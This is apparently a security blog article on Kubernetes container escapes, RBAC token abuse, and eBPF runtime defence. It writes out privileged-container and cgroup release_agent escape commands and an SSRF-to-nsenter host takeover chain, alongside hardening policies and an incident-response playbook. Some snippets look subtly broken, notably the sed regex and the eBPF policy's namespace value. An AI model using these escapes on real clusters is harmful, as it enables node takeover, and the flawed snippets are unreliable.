< [ ๐Ÿ“‘ Return to Research Knowledge Base ]

Kubernetes Security Architecture: Container Escape Vectors, RBAC Auditing & eBPF Telemetry

โฑ๏ธ 6 min read

1. The Container Isolation Illusion

A common misconception in cloud-native development is that containers represent miniature virtual machines with strict hardware boundaries. In reality, containers are merely standard Linux processes constrained by kernel primitives: Namespaces (which partition visibility into PIDs, network interfaces, and mount points) and Control Groups (cgroups) (which throttle resource consumption like CPU and memory). Containers share the underlying host kernel.

If a container is misconfigured with excessive Linux capabilities, granted access to sensitive host filesystem paths, or if the Linux kernel itself contains an unpatched vulnerability (e.g. Dirty COW, Dirty Cred), an attacker can escape the container’s namespace sandbox and seize full control of the underlying Kubernetes node.

2. Anatomy of Classic Container Escapes

A. The Privileged Container Escape (--privileged)

Running a pod with privileged: true effectively disables container isolation, granting the process access to all host devices in /dev and all kernel capabilities.

# Attacker inside privileged container detects host disk
fdisk -l

# Mounts the root filesystem of the underlying Kubernetes node
mkdir -p /mnt/host_root
mount /dev/sda1 /mnt/host_root

# Chroots into host system or injects SSH keys
chroot /mnt/host_root /bin/bash
# Immediate Root on Kubernetes Worker Node!

B. CAP_SYS_ADMIN & Cgroup Release Agent Exploitation

Even without full privileged status, a container granted the single capability CAP_SYS_ADMIN can mount cgroup filesystems and configure an automated execution hook (the release_agent) that the host kernel executes with root privileges upon cgroup termination:

# 1. Mount memory cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 2. Enable release agent notification
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# 3. Write malicious command to execute on host
echo '#!/bin/sh' > /cmd
echo 'ps aux > /output' >> /cmd
chmod a+x /cmd

# 4. Trigger release agent
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

3. Kubernetes RBAC Auditing & Privilege Escalation

Cluster security depends equally on Kubernetes Role-Based Access Control (RBAC). Default service account tokens mounted at /var/run/secrets/kubernetes.io/serviceaccount/token frequently hold excessive cluster rights.

+---------------------------------------------------------+
|                  Compromised Pod                        |
|  Reads: /var/run/secrets/kubernetes.io/serviceaccount/  |
+----------------------------+----------------------------+
                             | Extracted Token
                             v
+---------------------------------------------------------+
|                Kubernetes API Server                    |
|                https://kubernetes.default.svc           |
+----------------------------+----------------------------+
                             |
    Can Token Create Pods?   |
    +------------------------+------------------------+
    | YES                                             | NO
    v                                                 v
+------------------------+                 +---------------------+
| Creates Pod Mounting   |                 | Access Restricted   |
| Host Root (/):         |                 +---------------------+
| hostPath: / -> /host   |
+-----------+------------+
            |
            v
[ ROOT ON K8S NODE ]

4. Runtime Security with eBPF (Extended Berkeley Packet Filter)

Traditional user-space agents fail to detect sophisticated container escapes because an attacker who reaches the host kernel can easily blind or kill monitoring daemons. eBPF provides kernel-level observability by running sandboxed bytecode programs directly inside the Linux kernel hooks.

# Sample Tetragon (eBPF) Policy Blocking Container Namespace Escapes
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "block-namespace-escapes"
spec:
  kprobes:
    - call: "sys_setns"
      syscall: true
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "int"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Equal"
              values:
                - 0 # CLONE_NEWPID
          matchActions:
            - action: Sigkill

5. Kubernetes Hardening Checklist

  1. Enforce Pod Security Standards (PSS): Apply the restricted Pod Security Admission profile across all production namespaces, completely disallowing privileged pods, hostPID, and hostPath mounts.
  2. Disable Automount of ServiceAccount Tokens: In pod specs, set automountServiceAccountToken: false unless API access is explicitly required.
  3. Deploy Admission Controllers: Implement Kyverno or OPA Gatekeeper to cryptographically reject container images running as UID 0 (root).
  4. Network Policies: Enforce default-deny ingress and egress policies across all pod namespaces using Calico or Cilium.

6. Real-World Attack Scenario: From SSRF to DaemonSet Host Takeover

In modern cloud-native environments, container escapes frequently begin with an application-layer flaw. An attacker exploits a Server-Side Request Forgery (SSRF) vulnerability in an internet-facing microservice to reach the local Kubelet API on http://127.0.0.1:10255 or the container runtime socket:

  1. The attacker uses SSRF to query /var/run/secrets/kubernetes.io/serviceaccount/token.
  2. The extracted service account token has excessive cluster permissions (e.g., create pods in the kube-system namespace).
  3. The adversary submits a malicious Pod specification mounting the host root filesystem (hostPath: /) with privileged: true.
  4. Upon scheduling, the adversary invokes nsenter --target 1 --mount --uts --ipc --net --pid, transitioning from the container into full host root control.

7. Production Pod Security Standards (PSS) Admission Policy

Enforce the baseline and restricted Pod Security Standards across all Kubernetes namespaces using native admission controllers:

apiVersion: v1
kind: Namespace
metadata:
  name: production-workloads
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

The restricted profile unconditionally rejects any pod attempting to mount host paths, use privileged flags, run as root, or acquire dangerous Linux capabilities.

Enterprise Incident Response & Compliance Playbook (NIST SP 800-61r2)

When an infrastructure compromise or unauthorized privilege escalation is detected within cloud or on-premise Linux environments, security operations teams must immediately initiate structured containment protocols:

  1. Containment & Network Isolation: Immediately apply an ephemeral security group or eBPF network policy isolating the compromised host from the VPC while preserving SSH access from the dedicated forensic subnet. Avoid executing an immediate reboot or VM snapshot that triggers memory reclamation.
  2. Volatile Artifact Acquisition: Execute live forensic capture including memory dump (via LiME), active network sockets (ss -tulpn), loaded kernel modules (lsmod), open file descriptors (lsof -p <PID>), and running process trees (ps auxf). Pipe all outputs directly into cryptographically hashed evidence files on write-once storage.
  3. Credential Invalidation & Revocation: Rotate all IAM credentials, API access keys, and Kerberos TGT tickets associated with the compromised identity. Flush active sessions in Identity Providers (Okta/Entra ID) using Continuous Access Evaluation Protocol (CAEP) triggers.
  4. Root Cause Analysis & Remediation: Identify whether initial access occurred via exposed management ports, unpatched CVEs, or SUID binary abuse. Rebuild the affected host from a known-good immutable golden image (Packer / AMI) and verify CIS Benchmark compliance prior to restoring production traffic.

Key Takeaways, Quantitative Threat Metrics & Executive Audit Summary

Modern enterprise resilience against sophisticated adversarial campaigns requires continuous architectural validation and empirical verification. The following technical telemetry thresholds, executive key performance indicators (KPIs), and architectural controls must be integrated into recurring organizational security audits:

  • Mean Time to Detect (MTTD) & Respond (MTTR): Maintain automated detection and alert triage pipelines ensuring suspicious behaviors are flagged in under 3 minutes and contained within 15 minutes of initial execution.
  • Zero-Trust Access Invariants: Enforce strict cryptographically verified identity, hardware-bound tokens, and contextual risk scoring across all internal endpoints, removing all perimeter-based implicit trust assumptions.
  • Continuous Red Teaming & Adversary Emulation: Execute recurring automated breach and attack simulation (BAS) exercises validating that logging, telemetry streams, and behavioral alerts operate under real-world evasive conditions.
  • Regulatory & Industry Compliance: Maintain auditable alignment with NIST SP 800-53r5, ISO/IEC 27001:2022, and CISA Cross-Sector Cybersecurity Performance Goals to ensure verifiable defense-in-depth maturity across all production environments.
Shreyansh Sharma
// VERIFIED AUTHOR & SECURITY RESEARCHER

Shreyansh Sharma

Founder of VERASTRA, Co-Founder of PraanSewa, and President of the AI/ML Club (GEC Ajmer). Independent Cybersecurity Researcher, Red Hat Certified (RHCSA #250-102-605), Machine Learning Specialist (Coursera #M5JEZE29JALE), and veteran of 50+ hackathons specializing in adversarial AI defense, zero-day research, and cloud infrastructure hardening.